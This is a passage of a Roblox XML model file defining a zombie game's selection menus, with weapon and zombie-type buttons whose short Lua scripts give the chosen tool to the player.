							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3823">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126896560</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3824">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Pan:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3825">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Pickaxe</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>625</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3826">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126896575</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3827">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Pickaxe:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Frame" referent="RBX3828">
				<Properties>
					<bool name="Active">false</bool>
					<Color3 name="BackgroundColor3">4278716424</Color3>
					<float name="BackgroundTransparency">0.5</float>
					<Color3 name="BorderColor3">4279970357</Color3>
					<int name="BorderSizePixel">1</int>
					<bool name="ClipsDescendants">false</bool>
					<bool name="Draggable">false</bool>
					<string name="Name">Zombies</string>
					<UDim2 name="Position">
						<XS>0</XS>
						<XO>0</XO>
						<YS>0</YS>
						<YO>-25</YO>
					</UDim2>
					<UDim2 name="Size">
						<XS>1</XS>
						<XO>0</XO>
						<YS>1.20000005</YS>
						<YO>0</YO>
					</UDim2>
					<token name="SizeConstraint">0</token>
					<token name="Style">0</token>
					<bool name="Visible">false</bool>
					<int name="ZIndex">1</int>
				</Properties>
				<Item class="TextLabel" referent="RBX3829">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<token name="Font">0</token>
						<token name="FontSize">7</token>
						<string name="Name">Team</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>550</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<string name="Text"></string>
						<Color3 name="TextColor3">4278190080</Color3>
						<bool name="TextScaled">false</bool>
						<Color3 name="TextStrokeColor3">4278190080</Color3>
						<float name="TextStrokeTransparency">1</float>
						<float name="TextTransparency">0</float>
						<bool name="TextWrapped">false</bool>
						<token name="TextXAlignment">2</token>
						<token name="TextYAlignment">1</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
				</Item>
				<Item class="Frame" referent="RBX3830">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Secondary</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextButton" referent="RBX3831">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">9</token>
							<bool name="Modal">false</bool>
							<string name="Name">Zombie</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>100</XO>
								<YS>0</YS>
								<YO>300</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>200</XO>
								<YS>0</YS>
								<YO>200</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3832">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126960497</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>200</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3833">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>-20</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>20</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3834">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">1</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>200</XO>
										<YS>0</YS>
										<YO>20</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">regulr zambee</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Frame" referent="RBX3835">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Desc</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>200</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>20</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3836">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">1</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">6</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>200</XO>
										<YS>0</YS>
										<YO>20</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">kommon infeked</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX3837">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Infected:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3838">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">9</token>
							<bool name="Modal">false</bool>
							<string name="Name">Grabber</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>320</XO>
								<YS>0</YS>
								<YO>300</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>200</XO>
								<YS>0</YS>
								<YO>200</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3839">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126960472</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>200</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3840">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>-20</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>20</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3841">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">1</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>200</XO>
										<YS>0</YS>
										<YO>20</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">grabbar</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX3842">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Smoker:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3843">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Desc</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>200</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>20</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3844">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">1</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">6</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>200</XO>
										<YS>0</YS>
										<YO>20</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">uses tonge to grab playrs</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3845">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">9</token>
							<bool name="Modal">false</bool>
							<string name="Name">Kamikaze</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>540</XO>
								<YS>0</YS>
								<YO>300</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>200</XO>
								<YS>0</YS>
								<YO>200</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3846">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126960483</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>200</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3847">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>-20</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>20</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3848">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">1</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>200</XO>
										<YS>0</YS>
										<YO>20</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">kamikazee</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Frame" referent="RBX3849">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Desc</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>200</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>200</XO>
									<YS>0</YS>
									<YO>20</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3850">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">1</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">6</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>200</XO>
										<YS>0</YS>
										<YO>20</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">xplodes</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX3851">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Kamikaze:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Frame" referent="RBX3852">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">Select</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>350</XO>
								<YS>0</YS>
								<YO>200</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextBox" referent="RBX3853">
							<Properties>
								<bool name="Active">true</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClearTextOnFocus">true</bool>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<token name="Font">2</token>
								<token name="FontSize">9</token>
								<bool name="MultiLine">false</bool>
								<string name="Name">Select</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">selekt a zambee type ok</string>
								<Color3 name="TextColor3">4294506744</Color3>
								<bool name="TextScaled">false</bool>
								<Color3 name="TextStrokeColor3">4278716424</Color3>
								<float name="TextStrokeTransparency">0</float>
								<float name="TextTransparency">0</float>
								<bool name="TextWrapped">false</bool>
								<token name="TextXAlignment">2</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
					<Item class="Frame" referent="RBX3854">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">Select2</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>350</XO>
								<YS>0</YS>
								<YO>235</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextBox" referent="RBX3855">
							<Properties>
								<bool name="Active">true</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClearTextOnFocus">true</bool>
